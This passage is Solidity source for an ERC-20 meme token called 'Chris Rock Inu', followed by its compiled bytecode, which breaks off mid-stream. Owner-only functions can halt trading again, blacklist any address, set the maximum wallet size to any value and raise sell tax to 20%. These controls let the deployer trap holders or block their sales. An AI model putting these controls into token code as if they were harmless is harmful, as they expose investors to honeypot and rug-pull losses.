event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ChrisRockInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Chris Rock Inu";
string private constant _symbol = "CRI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x662c0313D0B8471E2aAd22214319F0C2d1F2f13C);
address payable private _marketingAddress = payable(0x662c0313D0B8471E2aAd22214319F0C2d1F2f13C);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 5000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612ec5565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f96565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fee565b61087b565b6040516102649190613049565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130c3565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130ed565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190613108565b6108d0565b6040516102f79190613049565b60405180910390f35b34801561030c57600080fd5b506103156109a9565b60405161032291906130ed565b60405180910390f35b34801561033757600080fd5b506103406109af565b60405161034d9190613177565b60405180910390f35b34801561036257600080fd5b5061036b6109b8565b60405161037891906131a1565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131bc565b6109de565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613215565b610ace565b005b3480156103df57600080fd5b506103e8610b80565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131bc565b610c51565b60405161041e91906130ed565b60405180910390f35b34801561043357600080fd5b5061043c610ca2565b005b34801561044a57600080fd5b5061046560048036038101906104609190613242565b610df5565b005b34801561047357600080fd5b5061047c610ea5565b60405161048991906130ed565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131bc565b610eab565b6040516104c691906130ed565b60405180910390f35b3480156104db57600080fd5b506104e4610ec3565b6040516104f191906131a1565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190613215565b610eec565b005b34801561052f57600080fd5b50610538610f9e565b60405161054591906130ed565b60405180910390f35b34801561055a57600080fd5b50610563610fa4565b6040516105709190612f96565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613242565b610fe1565b005b3480156105ae57600080fd5b506105c960048036038101906105c4919061326f565b611080565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fee565b61127b565b6040516105ff9190613049565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131bc565b611299565b60405161063c9190613049565b60405180910390f35b34801561065157600080fd5b5061065a6112b9565b005b34801561066857600080fd5b50610683600480360381019061067e9190613331565b611392565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613391565b6114cc565b6040516106b991906130ed565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613242565b611553565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131bc565b6115f2565b005b61071c6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a09061341d565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd61343d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108329061349b565b9150506107ac565b5050565b60606040518060400160405280600e81526020017f436872697320526f636b20496e75000000000000000000000000000000000000815250905090565b600061088f6108886117b4565b84846117bc565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108dd848484611987565b61099e846108e96117b4565b6109998560405180606001604052806028815260200161412460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094f6117b4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220c9092919063ffffffff16565b6117bc565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a9061341d565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad66117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5a9061341d565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc16117b4565b73ffffffffffffffffffffffffffffffffffffffff161480610c375750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1f6117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b610c4057600080fd5b6000479050610c4e81612270565b50565b6000610c9b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122dc565b9050919050565b610caa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2e9061341d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfd6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e819061341d565b60405180910390fd5b674563918244f40000811115610ea257806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef46117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f789061341d565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f4352490000000000000000000000000000000000000000000000000000000000815250905090565b610fe96117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106d9061341d565b60405180910390fd5b8060188190555050565b6110886117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110c9061341d565b60405180910390fd5b60008410158015611127575060048411155b611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613556565b60405180910390fd5b60008210158015611178575060148211155b6111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae906135e8565b60405180910390fd5b600083101580156111c9575060048311155b611208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ff9061367a565b60405180910390fd5b6000811015801561121a575060148111155b611259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112509061370c565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128f6112886117b4565b8484611987565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112fa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1614806113705750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113586117b4565b73ffffffffffffffffffffffffffffffffffffffff16145b61137957600080fd5b600061138430610c51565b905061138f8161234a565b50565b61139a6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e9061341d565b60405180910390fd5b60005b838390508110156114c657816005600086868581811061144d5761144c61343d565b5b905060200201602081019061146291906131bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114be9061349b565b91505061142a565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61155b6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df9061341d565b60405180910390fd5b8060178190555050565b6115fa6117b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9061341d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee9061379e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182390613830565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611893906138c2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197a91906130ed565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ee90613954565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5e906139e6565b60405180910390fd5b60008111611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa190613a78565b60405180910390fd5b611ab2610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b205750611af0610ec3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57601560149054906101000a900460ff16611baf57611b41610ec3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba590613b0a565b60405180910390fd5b5b601654811115611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb90613b76565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c985750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cce90613c08565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d845760175481611d3984610c51565b611d439190613c28565b10611d83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7a90613cf0565b60405180910390fd5b5b6000611d8f30610c51565b9050600060185482101590506016548210611daa5760165491505b808015611dc2575060158054906101000a900460ff16155b8015611e1c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e345750601560169054906101000a900460ff165b8015611e8a5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ee05750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0857611eee8261234a565b60004790506000811115611f0657611f0547612270565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120645750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561207357600090506121fa565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561211e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213657600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121e15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f957600a54600c81905550600b54600d819055505b5b612206848484846125d0565b50505050565b6000838311158290612254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224b9190612f96565b60405180910390fd5b50600083856122639190613d10565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d8573d6000803e3d6000fd5b5050565b6000600654821115612323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231a90613db6565b60405180910390fd5b600061232d6125fd565b9050612342818461262890919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561238157612380612d24565b5b6040519080825280602002602001820160405280156123af5781602001602082028036833780820191505090505b50905030816000815181106123c7576123c661343d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561246957600080fd5b505afa15801561247d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a19190613deb565b816001815181106124b5576124b461343d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251c30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bc565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612580